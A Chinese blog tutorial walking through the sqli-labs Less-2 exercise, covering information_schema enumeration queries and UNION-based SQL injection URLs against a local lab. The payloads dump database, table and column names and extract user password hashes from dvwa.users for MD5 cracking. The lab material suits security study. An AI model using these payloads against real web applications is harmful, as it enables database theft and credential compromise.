sqil-labs sql注入 LESS2联合注入教程

野性酷女 2024-03-25 20:14 69阅读 0赞

先看一下最基础sql语句之后的都是在此添加函数达到注入效果

查询数据库内容常用语句
    
    select * from users union all select user(),database(),version();
    
    1.暴库：select group_concat(schema_name) from information_schema.schemata;
    
    2.暴表1：select group_concat(table_name) from information_schema.tables where table_schema='security'; 加引号 暴表2：select table_name from information_schema.tables where table_schema='security' limit 3,1; 加引号
    
    3.暴字段1：select group_concat(column_name) from information_schema.columns where table_name='users'schema='security'; 加引号 暴字段2：select column_name from information_schema.columns wheretable_name='users' and table_schema='security' limit 1,1;
    
    4.暴字段值：select group_concat(username,0x3a,password) from security.users; //不加引号

**Less -2**

测试：

可判断为1.2.3

![d39e56de02e142bb9a757daa859ace3b.png][]

![685ad0d0d3dd47118d3707c9d87d68d6.png][]

union select 1，2，3

![b0bb49ade1624f05bc5419e6242ec1aa.png][]

查询数据库(高版本)：

![50f2f75e953c4f01956a2b54e58dc888.png][]

爆出所有数据库：

http：//127.0.0.1:/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

获取数据库名：

![d7570cccdb8f4b1bb9fdce54db4fe4a1.png][]

获取特定数据库：

![23a28b6dac9d40a9ba5c75ad987c4acf.png][]

查询数据库information\_schema下指定的表名dvwa下的users

用户获取特定数据库表名：

http://127.0.0.1:/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = 'dvwa'

![45c22a44a8b846eeaae6e15e745549b5.png][]

查询指定数据（dvwa中的user的数据）：

http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,user,password from dvwa.users

跨库注入需指向数据库名 dvwa.users

![90c92a97370c4272b93065ed4741fffc.png][]

md5解码：

![83b22aad866246008950e47ea0472ba6.png][]

[d39e56de02e142bb9a757daa859ace3b.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/e88144fadff94c519e670074d1db7c9b.png
[685ad0d0d3dd47118d3707c9d87d68d6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/b9eb054401bb4b8693035663d5c83a81.png
[b0bb49ade1624f05bc5419e6242ec1aa.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/bac116eab44a45878c4cf6d84aa32436.png
[50f2f75e953c4f01956a2b54e58dc888.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/4d69a82bc23f44cc98f20c7a1829de0f.png
[d7570cccdb8f4b1bb9fdce54db4fe4a1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/e546be280fc24741b72d192e8536b633.png
[23a28b6dac9d40a9ba5c75ad987c4acf.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/d31a9297f9454e359528e14cb0ee9536.png
[45c22a44a8b846eeaae6e15e745549b5.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/46873557aba24849872eb5d619d3a0aa.png
[90c92a97370c4272b93065ed4741fffc.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/7f18437099c245b48c75945172df4664.png
[83b22aad866246008950e47ea0472ba6.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/03/25/10457f455e6548b4a864fcb6c5942ea6.png